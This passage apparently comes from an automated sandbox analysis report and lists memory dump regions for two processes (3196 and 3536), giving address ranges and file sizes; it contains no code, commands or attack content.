                                                                                    • memory/3196-201-0x000002001B7E0000-0x000002001B7E8000-memory.dmp

                                                                                      Filesize

                                                                                      32KB

                                                                                    • memory/3536-70-0x00007FF9A5700000-0x00007FF9A5CE9000-memory.dmp

                                                                                      Filesize

                                                                                      5.9MB

                                                                                    • memory/3536-79-0x00007FF9AC070000-0x00007FF9AC07D000-memory.dmp

                                                                                      Filesize

                                                                                      52KB

                                                                                    • memory/3536-173-0x00007FF9A8CF0000-0x00007FF9A8E60000-memory.dmp

                                                                                      Filesize

                                                                                      1.4MB

                                                                                    • memory/3536-56-0x00007FF9AD4C0000-0x00007FF9AD4D9000-memory.dmp

                                                                                      Filesize

                                                                                      100KB

                                                                                    • memory/3536-81-0x00007FF9AD4C0000-0x00007FF9AD4D9000-memory.dmp

                                                                                      Filesize

                                                                                      100KB

                                                                                    • memory/3536-105-0x00007FF9AD080000-0x00007FF9AD0A3000-memory.dmp

                                                                                      Filesize

                                                                                      140KB

                                                                                    • memory/3536-82-0x00007FF9A84C0000-0x00007FF9A85DC000-memory.dmp

                                                                                      Filesize

                                                                                      1.1MB

                                                                                    • memory/3536-208-0x00007FF9AD3E0000-0x00007FF9AD3F9000-memory.dmp

                                                                                      Filesize

                                                                                      100KB

                                                                                    • memory/3536-209-0x00007FF9B2370000-0x00007FF9B237D000-memory.dmp

                                                                                      Filesize

                                                                                      52KB

                                                                                    • memory/3536-48-0x00007FF9B23B0000-0x00007FF9B23BF000-memory.dmp

                                                                                      Filesize

                                                                                      60KB

                                                                                    • memory/3536-25-0x00007FF9A5700000-0x00007FF9A5CE9000-memory.dmp

                                                                                      Filesize

                                                                                      5.9MB

                                                                                    • memory/3536-265-0x00007FF9ABDB0000-0x00007FF9ABDDE000-memory.dmp

                                                                                      Filesize

                                                                                      184KB

                                                                                    • memory/3536-30-0x00007FF9B2310000-0x00007FF9B2334000-memory.dmp

                                                                                      Filesize

                                                                                      144KB

                                                                                    • memory/3536-76-0x00007FF9AD060000-0x00007FF9AD074000-memory.dmp

                                                                                      Filesize

                                                                                      80KB

                                                                                    • memory/3536-78-0x00007FF9AD0B0000-0x00007FF9AD0DD000-memory.dmp

                                                                                      Filesize

                                                                                      180KB

                                                                                    • memory/3536-54-0x00007FF9AD0B0000-0x00007FF9AD0DD000-memory.dmp

                                                                                      Filesize

                                                                                      180KB

                                                                                    • memory/3536-71-0x00007FF9A85E0000-0x00007FF9A8698000-memory.dmp

                                                                                      Filesize

                                                                                      736KB

                                                                                    • memory/3536-73-0x00007FF9972E0000-0x00007FF997655000-memory.dmp

                                                                                      Filesize

                                                                                      3.5MB

                                                                                    • memory/3536-74-0x00007FF9B2310000-0x00007FF9B2334000-memory.dmp

                                                                                      Filesize

                                                                                      144KB

                                                                                    • memory/3536-72-0x0000022019660000-0x00000220199D5000-memory.dmp

                                                                                      Filesize

                                                                                      3.5MB

                                                                                    • memory/3536-277-0x00007FF9A85E0000-0x00007FF9A8698000-memory.dmp

                                                                                      Filesize

                                                                                      736KB

                                                                                    • memory/3536-66-0x00007FF9ABDB0000-0x00007FF9ABDDE000-memory.dmp

                                                                                      Filesize

                                                                                      184KB

                                                                                    • memory/3536-63-0x00007FF9AD3E0000-0x00007FF9AD3F9000-memory.dmp

                                                                                      Filesize

                                                                                      100KB

                                                                                    • memory/3536-279-0x0000022019660000-0x00000220199D5000-memory.dmp

                                                                                      Filesize

                                                                                      3.5MB

                                                                                    • memory/3536-64-0x00007FF9B2370000-0x00007FF9B237D000-memory.dmp

                                                                                      Filesize

                                                                                      52KB

                                                                                    • memory/3536-60-0x00007FF9A8CF0000-0x00007FF9A8E60000-memory.dmp

                                                                                      Filesize

                                                                                      1.4MB

                                                                                    • memory/3536-58-0x00007FF9AD080000-0x00007FF9AD0A3000-memory.dmp

                                                                                      Filesize

                                                                                      140KB

                                                                                    • memory/3536-283-0x00007FF9972E0000-0x00007FF997655000-memory.dmp

                                                                                      Filesize

                                                                                      3.5MB

                                                                                    • memory/3536-285-0x00007FF9A5700000-0x00007FF9A5CE9000-memory.dmp

                                                                                      Filesize

                                                                                      5.9MB

                                                                                    • memory/3536-291-0x00007FF9A8CF0000-0x00007FF9A8E60000-memory.dmp

                                                                                      Filesize

                                                                                      1.4MB

                                                                                    • memory/3536-286-0x00007FF9B2310000-0x00007FF9B2334000-memory.dmp

                                                                                      Filesize

                                                                                      144KB